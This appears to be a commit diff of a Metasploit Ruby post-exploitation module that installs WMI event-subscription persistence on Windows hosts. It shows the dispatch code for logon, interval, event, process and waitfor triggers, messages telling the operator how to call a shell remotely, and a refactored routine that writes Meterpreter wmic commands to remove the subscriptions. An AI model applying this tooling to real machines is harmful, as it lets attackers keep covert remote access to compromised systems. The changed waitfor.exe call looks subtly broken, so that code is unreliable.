@@ -95,24 +95,24 @@ def exploit
95
95
when 'LOGON'
96
96
psh_exec ( subscription_logon )
97
97
print_good "Persistence installed!"
98
- @cleanup
98
+ remove_persistence
99
99
when 'INTERVAL'
100
100
psh_exec ( subscription_interval )
101
101
print_good "Persistence installed!"
102
- @cleanup
102
+ remove_persistence
103
103
when 'EVENT'
104
104
psh_exec ( subscription_event )
105
105
print_good "Persistence installed! Call a shell using \" smbclient \\ \\ \\ \\ <target_ip>\\ \\ C$ -U " +datastore [ 'USERNAME_TRIGGER' ] +" <arbitrary password>\" "
106
- @cleanup
106
+ remove_persistence
107
107
when 'PROCESS'
108
108
psh_exec ( subscription_process )
109
109
print_good "Persistence installed!"
110
- @cleanup
110
+ remove_persistence
111
111
when 'WAITFOR'
112
112
psh_exec ( subscription_waitfor )
113
- cmd_exec ( "waitfor.exe #{ datastore [ 'WAITFOR_TRIGGER' ] } , time_out = 0 " )
113
+ cmd_exec ( "waitfor.exe" , args = " #{ datastore [ 'WAITFOR_TRIGGER' ] } ")
114
114
print_good "Persistence installed! Call a shell using \" waitfor.exe /S <target_ip> /SI " +datastore [ 'WAITFOR_TRIGGER' ] +"\" "
115
- @cleanup
115
+ remove_persistence
116
116
end
117
117
end
118
118
@@ -193,44 +193,34 @@ def subscription_waitfor
193
193
end
194
194
195
195
196
- def log_file ( log_path = nil ) # Thanks Meatballs for this
196
+ def log_file
197
197
host = session . session_host
198
198
filenameinfo = "_" + ::Time . now . strftime ( "%Y%m%d.%M%S" )
199
- if log_path
200
- logs = ::File . join ( log_path , 'logs' , 'wmi_persistence' ,
201
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
202
- else
203
- logs = ::File . join ( Msf ::Config . log_directory , 'wmi_persistence' ,
204
- Rex ::FileUtils . clean_path ( host + filenameinfo ) )
205
- end
199
+ logs = ::File . join ( Msf ::Config . log_directory , 'wmi_persistence' ,
200
+ Rex ::FileUtils . clean_path ( host + filenameinfo ) )
206
201
::FileUtils . mkdir_p ( logs )
207
202
logfile = ::File . join ( logs , Rex ::FileUtils . clean_path ( host + filenameinfo ) + '.rc' )
208
- logfile
209
203
end
210
204
211
205
212
- def cleanup
213
- if datastore [ 'PERSISTENCE_METHOD' ] == "WAITFOR"
214
- name_class = datastore [ 'CLASSNAME' ]
215
- clean_rc = log_file ( )
216
- clean_up_rc = ""
217
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
218
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
219
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" Telemetrics\\ \" ' DELETE\" \n "
220
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
221
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
222
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
223
- file_local_write ( clean_rc , clean_up_rc )
224
- print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
225
- else
226
- name_class = datastore [ 'CLASSNAME' ]
227
- clean_rc = log_file ( )
228
- clean_up_rc = ""
229
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
230
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
231
- clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
232
- file_local_write ( clean_rc , clean_up_rc )
233
- print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
234
- end
206
+ def remove_persistence
207
+ name_class = datastore [ 'CLASSNAME' ]
208
+ clean_rc = log_file
209
+ if datastore [ 'PERSISTENCE_METHOD' ] == "WAITFOR"
210
+ clean_up_rc = ""
211
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
212
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
213
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" Telemetrics\\ \" ' DELETE\" \n "
214
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
215
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
216
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
217
+ else
218
+ clean_up_rc = ""
219
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
220
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
221
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
222
+ end
223
+ file_local_write ( clean_rc , clean_up_rc )
224
+ print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
235
225
end
236
226
end
0 commit comments